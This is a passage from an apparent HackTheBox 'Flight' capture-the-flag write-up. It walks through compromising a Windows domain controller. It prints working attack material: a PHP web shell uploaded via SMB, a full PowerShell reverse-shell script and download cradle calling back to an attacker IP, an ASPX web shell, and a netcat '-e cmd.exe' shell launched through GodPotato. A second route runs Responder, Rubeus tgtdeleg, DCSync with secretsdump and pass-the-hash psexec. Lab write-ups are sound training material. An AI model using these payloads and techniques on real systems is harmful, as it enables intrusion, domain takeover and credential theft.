SMB         10.129.228.120  445    G0               Share           Permissions     Remark
SMB         10.129.228.120  445    G0               -----           -----------     ------
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin
SMB         10.129.228.120  445    G0               C$                              Default share
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.228.120  445    G0               Shared          READ,WRITE      
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share 
SMB         10.129.228.120  445    G0               Users           READ            
SMB         10.129.228.120  445    G0               Web             READ,WRITE

Now we have WRITE permissions over the Web share which contains the web server files, so we can upload a PHP (The web server backend language as we have seen earlier is PHP) web shell or reverse shell and have an interactive shell on the box:

I will write a simple PHP code:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ cat webshell.php                                                                 
<?php echo system($_GET['cmd']);?>

And upload it:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ smbclient //10.129.228.120/web -U 'flight.htb/c.bum%Tikkycoll_**********'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Sep  9 07:58:56 2025
  ..                                  D        0  Tue Sep  9 07:58:56 2025
  flight.htb                          D        0  Tue Sep  9 07:57:00 2025
  school.flight.htb                   D        0  Tue Sep  9 07:57:00 2025

                5056511 blocks of size 4096. 1254086 blocks available
smb: \> cd school.flight.htb
smb: \school.flight.htb\> ls
  .                                   D        0  Tue Sep  9 07:57:00 2025
  ..                                  D        0  Tue Sep  9 07:57:00 2025
  about.html                          A     1689  Mon Oct 24 23:54:45 2022
  blog.html                           A     3618  Mon Oct 24 23:53:59 2022
  home.html                           A     2683  Mon Oct 24 23:56:58 2022
  images                              D        0  Tue Sep  9 07:57:00 2025
  index.php                           A     2092  Thu Oct 27 03:59:25 2022
  lfi.html                            A      179  Thu Oct 27 03:55:16 2022
  styles                              D        0  Tue Sep  9 07:57:00 2025

                5056511 blocks of size 4096. 1254086 blocks available
smb: \school.flight.htb\> put webshell.php 
putting file webshell.php as \school.flight.htb\webshell.php (0.1 kb/s) (average 0.1 kb/s)
smb: \school.flight.htb\> exit

Lets navigate to the website, and try to open that file from there:

Here we have command execution, lets get our PowerShell cradle ready:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ cat shell.ps1                                                          
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.
Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS '
 + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

I will start a python web server to host that shell.ps1 file, also start a netcat listener in another terminal:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ python3 -m http.server 80                                                                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ rlwrap nc -nlvp 443                                                               
listening on [any] 443 ...

Now I will upload it to the target system and execute it in memory:

We will see it hangs, because we have a reverse shell:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ rlwrap nc -nlvp 443                                                               
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.228.120] 58231                                                                                                               

Post-Exploitation:

Local Enumeration:

After doing some enumeration, we will find inetpub directory which has files for another web server (IIS):

PS C:\> dir                                                                                                                                                                 
                                                                                                                                                                            
                                                                                                                                                                            
    Directory: C:\                                                                                                                                                          
                                                                                                                                                                            
                                                                                                                                                                            
Mode                LastWriteTime         Length Name                                                                                                                       
----                -------------         ------ ----                                                                   
d-----         9/9/2025   5:07 AM                inetpub                                                                                                                    
d-----         6/7/2022   6:39 AM                PerfLogs                                                               
d-r---       10/21/2022  11:49 AM                Program Files                                                          
d-----        7/20/2021  12:23 PM                Program Files (x86)                                                                                                        
d-----         9/9/2025   4:58 AM                Shared                                                                                                                     
d-----        9/22/2022  12:28 PM                StorageReports                                                                                                             
d-r---        9/22/2022   1:16 PM                Users                                                                                                                      
d-----       10/21/2022  11:52 AM                Windows                                                                                                                    
d-----        9/22/2022   1:16 PM                xampp                                                                  
                                                                                                                                                                            
                                                                                      
PS C:\> cd inetpub
PS C:\inetpub> dir                                                                                                                                                          
                                                                                                                                                                            
                                                                                                                                                                            
    Directory: C:\inetpub                                                                                                                                                   
                                                                                                                                                                            
                                                                                                                                                                            
Mode                LastWriteTime         Length Name                                                                                                                       
----                -------------         ------ ----                                                                                                                       
d-----        9/22/2022  12:24 PM                custerr                                                                                                                    
d-----         9/9/2025   5:07 AM                development                                                                                                                
d-----        9/22/2022   1:08 PM                history                                                                                                                    
d-----        9/22/2022  12:32 PM                logs                                                                                                                       
d-----        9/22/2022  12:24 PM                temp                                                                                                                       
d-----        9/22/2022  12:28 PM                wwwroot                                                                                                                    
                                                                                                                                                                            
                                                                                                                                                                            
PS C:\inetpub> cd wwwroot                                                                                                                                                   
PS C:\inetpub\wwwroot> dir                                                                                                                                                  
                                                                                                                                                                            
                                                                                                                                                                            
    Directory: C:\inetpub\wwwroot                                                                                                                                           
                                                                                                                                                                            
                                                                                                                                                                            
Mode                LastWriteTime         Length Name                                                                                                                       
----                -------------         ------ ----                                                                                                                       
d-----        9/22/2022  12:28 PM                aspnet_client                                                                                                              
-a----        9/22/2022  12:24 PM            703 iisstart.htm                                                                                                               
-a----        9/22/2022  12:24 PM          99710 iisstart.png                                                                                                               
                                                                                                                                                                            
                                                                                                                                                                            
PS C:\inetpub\wwwroot> cd ..\development
PS C:\inetpub\development> dir


    Directory: C:\inetpub\development


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----         9/9/2025   5:27 AM                css                                                                   
d-----         9/9/2025   5:27 AM                fonts                                                                 
d-----         9/9/2025   5:27 AM                img                                                                   
d-----         9/9/2025   5:27 AM                js                                                                    
-a----        4/16/2018   2:23 PM           9371 contact.html                                                          
-a----        4/16/2018   2:23 PM          45949 index.html

Also if we searched for internal ports:

PS C:\Windows\Tasks> netstat -ano | findstr LISTENING                                                                                                                       
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       5668                                                                                                 
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       660                                                                                                  
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       908                                                                                                  
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       660                                                                                                  
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       5668                                                                                                 
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4                                                                                                    
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       660                                                                                                  
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       908                                                                                                  
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       660                                                                                                  
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       660                                                                                                  
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       660                                                                                                  
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4                                                                                                    
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4                                                                                                    
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       3012                                                                                                 
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       496
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1212
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1680
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       660
  TCP    0.0.0.0:49677          0.0.0.0:0              LISTENING       660
  TCP    0.0.0.0:49678          0.0.0.0:0              LISTENING       660
  TCP    0.0.0.0:49690          0.0.0.0:0              LISTENING       1844
  TCP    0.0.0.0:49698          0.0.0.0:0              LISTENING       3124
  TCP    0.0.0.0:52869          0.0.0.0:0              LISTENING       640

We will notice that WinRM is running internally which was not exposed in our Nmap scan also strangely port 8000 which seems to be the internal web server.

We do not have write permissions on those folders, but c.bum has:

PS C:\inetpub> icacls development                                                                                                                                           
development flight\C.Bum:(OI)(CI)(W)                                                                                                                                        
            NT SERVICE\TrustedInstaller:(I)(F)
            NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
            NT AUTHORITY\SYSTEM:(I)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
            BUILTIN\Administrators:(I)(F)
            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
            BUILTIN\Users:(I)(RX)
            BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
            CREATOR OWNER:(I)(OI)(CI)(IO)(F)

So lets get a shell as c.bum, we can either do pivoting to get access to winrm port, or get a full interactive shell with RunasCs.exe.

I uploaded RunasCs.exe to the target system, and run it as c.bum user, before that start a new netcat listener in another terminal:

PS C:\Windows\Tasks> .\RunasCs.exe c.bum Tikkycoll_********** powershell.exe -r 10.10.16.4:443
[*] Warning: The logon for user 'c.bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-6c4a5$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 6616 created in background.
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ rlwrap nc -nlvp 443                             
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.228.120] 58242
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
flight\c.bum

Port Forwarding:

I will upload chisel or ligolo or what ever tunneling tool to perform port forwarding, so we can access that internal port (8000):

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ /opt/Tools/Pivoting/chisel/chisel server -p 1234 -reverse
2025/09/09 01:14:16 server: Reverse tunnelling enabled
2025/09/09 01:14:16 server: Fingerprint PFaH/IRP8Au+ptypvYO7rY9WocDtlvcGkchaTFThfLs=
2025/09/09 01:14:16 server: Listening on http://0.0.0.0:1234
PS C:\Users\C.Bum\Documents> curl http://10.10.16.4/chisel.exe -o chisel.exe
PS C:\Users\C.Bum\Documents> dir


    Directory: C:\Users\C.Bum\Documents


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         9/9/2025   5:13 AM        9760768 chisel.exe                                                            


PS C:\Users\C.Bum\Documents> .\chisel.exe client 10.10.16.4:1234 R:8000:127.0.0.1:8000
2025/09/09 05:15:09 client: Connecting to ws://10.10.16.4:1234
2025/09/09 05:15:11 client: Connected (Latency 120.0613ms)

Lets have a look at the server again:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ /opt/Tools/Pivoting/chisel/chisel server -p 1234 -reverse
2025/09/09 01:14:16 server: Reverse tunnelling enabled
2025/09/09 01:14:16 server: Fingerprint PFaH/IRP8Au+ptypvYO7rY9WocDtlvcGkchaTFThfLs=
2025/09/09 01:14:16 server: Listening on http://0.0.0.0:1234
2025/09/09 01:15:07 server: session#1: tun: proxy#R:8000=>8000: Listening

So we established port forwarding, with firefox lets open localhost on port 8000:

Now with another shell as c.bum, I will upload (/usr/share/webshells/aspx/cmdasp.aspx) file (since the server running is IIS, and the framework is asp.net):

PS C:\inetpub\development> curl http://10.10.16.4/webshell.aspx -o webshell.aspx                                                                                            
curl http://10.10.16.4/webshell.aspx -o webshell.aspx                                                                                                                       
PS C:\inetpub\development> dir                                                                                                                                              
dir                                                                                                                                                                         
                                                                                                                                                                            
                                                                                                                                                                            
    Directory: C:\inetpub\development                                                                                                                                       
                                                                                                                                                                            
                                                                                                                                                                            
Mode                LastWriteTime         Length Name                                                                                                                       
----                -------------         ------ ----                                                                                                                       
d-----         9/9/2025   5:27 AM                css                                                                                                                        
d-----         9/9/2025   5:27 AM                fonts                                                                                                                      
d-----         9/9/2025   5:27 AM                img                                                                                                                        
d-----         9/9/2025   5:27 AM                js                                                                                                                         
-a----        4/16/2018   2:23 PM           9371 contact.html                                                                                                               
-a----        4/16/2018   2:23 PM          45949 index.html                                                                                                                 
-a----         9/9/2025   5:31 AM           1400 webshell.aspx

Navigate to that webshell from within firefox:

We are IIS default application pool user.

Lets get a reverse shell using the same PowerShell cradle above:

powershell -c IEX(IWR -UseBasicParsing -Uri http://10.10.16.4/shell.ps1)

Here we have a shell as defaultapppool:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ rlwrap nc -nlvp 443                                                                                                                                                     
listening on [any] 443 ...                                                                                                                                                  
connect to [10.10.16.4] from (UNKNOWN) [10.129.228.120] 58330                                                                                                               

Whoami /all:

PS C:\windows\system32\inetsrv> whoami /all                                                                                                                                 
                                                                                                                                                                            
USER INFORMATION                                                                                                                                                            
----------------                                                                                                                                                            
                                                                                                                                                                            
User Name                  SID
========================== =============================================================                                                                  01:22:03 [454/536]
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415                                                                                    
                                                                                                                                                                            
                                           
GROUP INFORMATION                                                                     
-----------------                                                                     
                                                                                      
Group Name                                 Type             SID          Attributes                                         
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                                    
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group                                                 
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group                                                 
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group                                                 
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                          Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                           Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group
                                                                                      
                                                                                      
PRIVILEGES INFORMATION                                                                
----------------------                                                                
                                                                                                                                                                            
Privilege Name                Description                               State         
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled                                                                                            
SeMachineAccountPrivilege     Add workstations to domain                Disabled      
SeAuditPrivilege              Generate security audits                  Disabled                                                                                            
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled                                                                                             
SeImpersonatePrivilege        Impersonate a client after authentication Enabled                                                                                             
SeCreateGlobalPrivilege       Create global objects                     Enabled                                                                                             
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

We have SeImpersonatePrivilege which allows us to impersonate another user.

And we can abuse it with a variety of tools such as printspoofer or one of the potatos, I will upload and use GodPotato, and we have also to upload netcat:

PS C:\Windows\Tasks> curl http://10.10.16.4/nc64.exe -o nc64.exe
PS C:\Windows\Tasks> curl http://10.10.16.4/GodPotato-NET4.exe -o gp.exe
PS C:\Windows\Tasks> dir


    Directory: C:\Windows\Tasks


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----         9/9/2025   5:27 AM          57344 gp.exe                                                                 
-a----         9/9/2025   5:24 AM          45272 nc64.exe                                                               
-a----         9/9/2025   5:11 AM          51712 RunasCs.exe

Start another netcat listener and run GodPotato:

PS C:\Windows\Tasks> .\gp.exe -cmd "C:\Windows\Tasks\nc64.exe -t -e C:\Windows\System32\cmd.exe 10.10.16.4 443"
[*] CombaseModule: 0x140734717427712
[*] DispatchTable: 0x140734719733824
[*] UseProtseqFunction: 0x140734719110352
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\71a9dc84-e926-4115-8e0d-2a17c0b25770\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-0acc-ffff-1a6e-c8d93936ecf0
[*] DCOM obj OXID: 0xdafa6bf5ceab060d
[*] DCOM obj OID: 0x1ab482671517062b
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 908 Token:0x616  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation 
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2020
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ rlwrap nc -nlvp 443                                                                                                                                                     
listening on [any] 443 ...                                                                                                                                                  
connect to [10.10.16.4] from (UNKNOWN) [10.129.228.120] 53156                                                                                                               
Microsoft Windows [Version 10.0.17763.2989]                                                                                                                                 
(c) 2018 Microsoft Corporation. All rights reserved.                                                                                                                        
                                                                                                                                                                            
C:\Windows\Tasks>whoami                                                                                                                                                     
whoami                                                                                                                                                                      
nt authority\system

We are system on the domain controller.

Here is the flags:

C:\Windows\Tasks>type C:\Users\Administrator\Desktop\root.txt                                                                                                               
0404d779851eeca3****************   
                                                                                                                                                                                                                                                                                              
C:\Windows\Tasks>type C:\Users\c.bum\Desktop\user.txt                                                                                                                       
11882bfd0bdb3f8c****************

After I solved that box, and seen some writeups online I found another way we can take advantage of to escalate our privileges, by abusing the privileges of defaultapppool user.

As mentioned in this Microsoft article:

The good news is that application pool identities also use the machine account to access network resources.

So as defaultapppool we can use the machine account to do some stuff, lets confirm this:

 ┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ sudo responder -I tun0 -dvw                                                                                                                                             
[sudo] password for kali:                                                                                                                                                   
                                         __                                                                                                                                 
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.                                                                                                                    
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|                                                                                                                    
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|                                                                                                                      
                   |__|                                                                                                                                                     
                                                                                                                                                                            
                                                                                                                                                                            
[+] Poisoners:                                                                                                                                                              
    LLMNR                      [ON]                                                                                                                                         
    NBT-NS                     [ON]                                                                                                                                         
    MDNS                       [ON]                                                                                                                                         
    DNS                        [ON]                                                                                                                                         
    DHCP                       [ON]                                                                                                                                         
                                                                                                                                                                            
[+] Servers:                                                                                                                                                                
    HTTP server                [ON]                                                                                                                                         
    HTTPS server               [ON]                                                                                                                                         
    WPAD proxy                 [ON]                                                                                                                                         
    Auth proxy                 [OFF]                                                                                                                                        
    SMB server                 [ON]                                                                                                                                         
    Kerberos server            [ON]                                                                                                                                         
    SQL server                 [ON]                                                                                                                                         
    FTP server                 [ON]                                                                                                                                         
    IMAP server                [ON]   
    POP3 server                [ON]                                                                                                                       01:30:03 [42/1387]
    SMTP server                [ON]                                                   
    DNS server                 [ON]                                                   
    LDAP server                [ON]                                                                                                                                         
    MQTT server                [ON]                                                                                                                                         
    RDP server                 [ON]                                                                                                                                         
    DCE-RPC server             [ON]                                                                                                                                         
    WinRM server               [ON]                                                   
    SNMP server                [ON]                                                   
                                                                                      
[+] HTTP Options:                                                                                                                                                           
    Always serving EXE         [OFF]                                                                                                                                        
    Serving EXE                [OFF]                                                                                                                                        
    Serving HTML               [OFF]                                                                                                                                        
    Upstream Proxy             [OFF]                                                                                                                                        
                                                                                      
[+] Poisoning Options:                                                                                                                                                      
    Analyze Mode               [OFF]                                                                                                                                        
    Force WPAD auth            [OFF]                                                                                                                                        
    Force Basic Auth           [OFF]                                                                                                                                        
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]                                                                                                                      01:30:34 [21/1387]
                                                                                      
[+] Generic Options:                                                                  
    Responder NIC              [tun0]                                                                                                                                       
    Responder IP               [10.10.16.4]                                                                                                                                 
    Responder IPv6             [dead:beef:4::1002]                                                                                                                          
    Challenge set              [random]                                                                                                                                     
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']                             
    Don't Respond To MDNS TLD  ['_DOSVC']                                             
    TTL for poisoned response  [default]                                              
                                                                                                                                                                            
[+] Current Session Variables:                                                                                                                                              
    Responder Machine Name     [WIN-JX9IVMUB7BP]                                                                                                                            
    Responder Domain Name      [0WGF.LOCAL]                                                                                                                                 
    Responder DCE-RPC Port     [47909]                                                                                                                                      
                                                                                      
[*] Version: Responder 3.1.7.0                                                                                                                                              
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>                                                                                                                         
[*] To sponsor Responder: https://paypal.me/PythonResponder                                                                                                                 
                                                                                                                                                                            
[+] Listening for events...

And run for example net use //10.10.16.4/share/doesnotexist:

PS C:\Windows\Tasks> net use \\10.10.16.4\share\doesnotexist
[SMB] NTLMv2-SSP Client   : 10.129.228.120                                                                                                                                  
[SMB] NTLMv2-SSP Username : flight\G0$                                                                                                                                      
[SMB] NTLMv2-SSP Hash     : G0$::flight:91dc564ee4bd368b:A3D5C6F207308B9CDC9F8C1306E0083D:010100000000000080DFD9432921DC01FA145D5A5609676E0000000002000800300057004700460001
001E00570049004E002D004A0058003900490056004D005500420037004200500004003400570049004E002D004A0058003900490056004D00550042003700420050002E0030005700470046002E004C004F00430041
004C000300140030005700470046002E004C004F00430041004C000500140030005700470046002E004C004F00430041004C000700080080DFD9432921DC010600040002000000080030003000000000000000000000
0000300000519615345A3617D56226E802E16BA62829B6E89B662AACF6A9AD5FB88B477D850A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036
002E0034000000000000000000                                                                                                                                                  
[+] Exiting...

Here we can confirm that, that user uses the machine account to access network resources.

There is a module in Rubeus.exe called tgtdeleg that allows us to abuse the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host, so we can grab the machine account TGT, upload Rubeus to the target machine and run it as the defaultapppool user:

PS C:\Windows\Tasks> .\Rubeus.exe tgtdeleg /nowrap                                                                                                                          
                                                                                                                                                                            
[*] Action: Request Fake Delegation TGT (current user)                                                                                                                      
                                                                                                                                                                            
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'                                                                                                       
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: veWtk4mX1HZWMlsDSrCFPEsehyiiS9isziufw0rpmWE=        
[+] Successfully decrypted the authenticator                                                                                                                                
[*] base64(ticket.kirbi):                                                                                                                                                   
                                                                                                                                                                            
      doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECqPIphKR92SxyOO3zy
okxCvPE/QX9Q5K/KZEpfIMzBTBi2oPYcsoR41cYfNq11jnLrChZKvYo6DCDnyMRGI16pblZ0dkwhPIEXktlyHqBKs+WbAkNq5XNSK8h8ByiGgs2Utd2ltNvHbD68ED+bBU5LxoYvCOxhisNEy38slBGHH+Z69wLCFQzAH8b/plid
SpFfpdHX5n0g7wrVtuoO3S35bNBSFvz0josoviLTh7VgHSaoVDEfZUCkbSHaKs88HZXSlAJwjoGN5SO8AMWdj6U3q9fQcq5edhbiKPx4oAHSJoQ4dpzRDdbr2/lFTHKWN+yncjJgBZI1cueCsgO2P7Ldl5hB1njn/80CGXUyytaW
N8B+Zb9isiyndy9HN3GOfoBr6NSxiUU8CvRo94dXVYrQCTF/ltZ40QD4yf3c0mqXASCkcDjgRRKkvDY/bcPKhE9CLwmFqAmTlCTNw3TWu9WzinFA/BU86rByjFHvxik0/bry47pJKoByDFEb/mugG99YwLgLESYrjm2Cm8ffB3ut
AQv+z9Kocj5ch/uGSnJEaxLV/k/8jjSks/qnQmrrL8qw61MUVjuoMvrfBvmOi0C9vyHj/hQdkLd2hVQYgrlsbZPj06F+TZ3n2J6U7CCeGkBbNKdw0zXJFFOBv17rYlseIFYEr8wgZQ1dKSZuOscZeW6LkreCcig5+AyYeuytBHkD
uB6zCL0mV3za58ygpPNznhCa5l8ywi1tcMSybhkBtZh000zt9CpHLte56yH7975phGTV4Qk7rO5YmVPhhbNmAUNjgvKQUu82lJGax9e89ZH90y3tRbGM3lbp0bciJe+Lmf9ORio3OVo3cWM//UaF5B2YSFwlobAsFP1Hm3s7J8AZ
ZmfnwYzm0UdkRYpVJ/0kAHa84TKD84IAk3BG5ZjaZN4gg0eS2yw5/7H2l2IYpO4wo720EhtZJkDDRgs+A6zDliycC6HVeJcPDfiBoSbBRlYSB4LoRE5YSJKKvym0P33oTytvZqLmKZlnoqSxwHQj/5b3mPKvQ3quLma4O9CA1lnn
LkY33DeEnJAGANv0M4bs0Nc3XdVK7oNnfiKOlPe2m2Hgej+xEeaFqM4l93Gk8wDiQ4OzP1t0XRiEm24MARG/ODOh5pPpMIY9m9gxLqASxsq7vYgub/JTm4A9GPSKKo6+jTHVpmyi0XGLZT9EjNAulHSYlDdLzO2R0YXfg3SWzuof
CTVCPteabpizUKnab1Q1bTaOWKtud6uCVVBWvjAUCD2u27ij6ihD3TtB7aBZxYnEJ9bCx/ilSiRJb3q1nH1PJFTW4X+NQQsecu6v53ZSMtm1rPXSU+9ENd/367sgD3fqgqrYU/nWnaEyspbDs9TxQ5Eh43LyDLo4HbMIHYoAMCAQ
CigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgURDGdnpUTDF0mBDvtTSLCpHeGj1kAF/QZ8i1S+omK+WhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI1MDkwOTEyMzQxMVqmER
gPMjAyNTA5MDkyMjM0MTFapxEYDzIwMjUwOTE2MTIzNDExWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC

Here we got the TGT ticket of the G0 (machine account), we can pass it to Rubeus, or convert it to ccache format for further usage.

I will save it to a file, and decode it from base64, then convert it to ccache with impacket-ticketConverter:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ vim ticket.kirbi.b64                                                                                                                                                    
                                                                                                                                                                            
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ base64 -d ticket.kirbi.b64 > ticket.kirbi                                                                                                                               
                                                                                                                                                                            
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache                                                                                                                     
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies                                                                                                  
                                                                                                                                                                            
[*] converting kirbi to ccache...                                                                                                                                           
[+] done

Now we can export that ticket so any tool we tell it to use kerberos, it knows from where it take credentials to perform such a thing:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ export KRB5CCNAME=ticket.ccache

Domain controller by default has dcsync rights to synchronize its data with other domain controllers if exist.

With impacket-secretsdump and that ticket we can perform dcsync:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ impacket-secretsdump -k -no-pass g0.flight.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
                                                                                      
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                                                                        
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab7614****************::: 
<snipped>
[*] Kerberos keys grabbed                                                             
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c****************
<snipped>

Here we have the administrator secrets, and we can authenticate to the target machine with those hashes:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ impacket-psexec flight.htb/administrator@10.129.228.120 -hashes :43bbfc530bab7614****************                                                                       
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies                                                                                                  
                                                                                                                                                                            
[*] Requesting shares on 10.129.228.120.....                                                                                                                                
[*] Found writable share ADMIN$                                                                                                                                             
[*] Uploading file roWEKhMf.exe                                                       
[*] Opening SVCManager on 10.129.228.120.....                                                                                                                               
[*] Creating service Hvzk on 10.129.228.120.....                                                                                                                            
[*] Starting service Hvzk.....                                                        
[!] Press help for extra shell commands                                                                                                                                     
Microsoft Windows [Version 10.0.17763.2989]                                           
